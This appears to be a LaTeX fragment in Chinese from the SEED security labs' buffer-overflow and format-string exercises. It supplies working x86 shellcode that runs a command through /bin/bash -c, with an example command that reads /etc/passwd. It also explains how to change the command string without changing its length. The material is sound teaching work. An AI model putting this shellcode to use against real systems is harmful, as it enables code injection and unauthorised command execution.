%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% This file is used by the following labs. Please check 
% these labs if changes are made here, so they don't cause
% problems to those labs:
%     - Buffer_Overflow_Server
%     - Format_String
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


Shellcode 在代码注入攻击中经常使用，它实质上是一段运行 shell 命令的代码，
通常用汇编语言编写。由于它的复杂度高，
在本实验中，我们仅提供一个通用 shellcode 的二进制版本，不解释其工作原理。
如果您对 shellcode 的工作原理感兴趣，想学会如何编写 shellcode，
我们有一个单独的针对 Shellcode 的 SEED 实验 《Shellcode 实验》 。
我们的通用 shellcode 列在下面。我们仅列出了
x86 版本（32 位），amd64 和 arm64 版本的 shellcode 类似。

\begin{lstlisting}[language=python]
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"                                                     (*@\ding{202}@*)
   "-c*"                                                            (*@\ding{203}@*)
   "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd        *"    (*@\ding{204}@*)
   # The * in this line serves as the position marker         *
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
\end{lstlisting}
 

Shellcode 运行 \texttt{"/bin/bash"} shell 程序（行~\ding{202}），
它带了两个参数，\texttt{"-c"}（行~\ding{203}）和
一个命令字符串（行~\ding{204}）。这表明 shell 程序
将运行第二个参数中的命令。
这些字符串末尾的 \texttt{*} 只是一个占位符，
在 shellcode 执行期间，它将被
一个字节的二进制 \texttt{0x00} 替换。
每个字符串末尾都需要有一个零，但我们不能在 shellcode 中放置
零。我们在每个字符串末尾放置一个占位符，
然后在执行期间动态地将零放入占位符中。


如果我们希望 shellcode 运行其他命令，我们只需要修改行~\ding{204} 中的命令字符串。
但是，在进行更改时，我们需要确保不要更改此字符串的长度，因为
位于命令字符串之后的 \texttt{argv[]} 数组占位符的起始位置已经硬编码
在 shellcode 的二进制部分。如果我们更改长度，则需要修改二进制部分。
您可以通过添加或删除空格来保证此字符串末尾的星号保持在指定的位置。



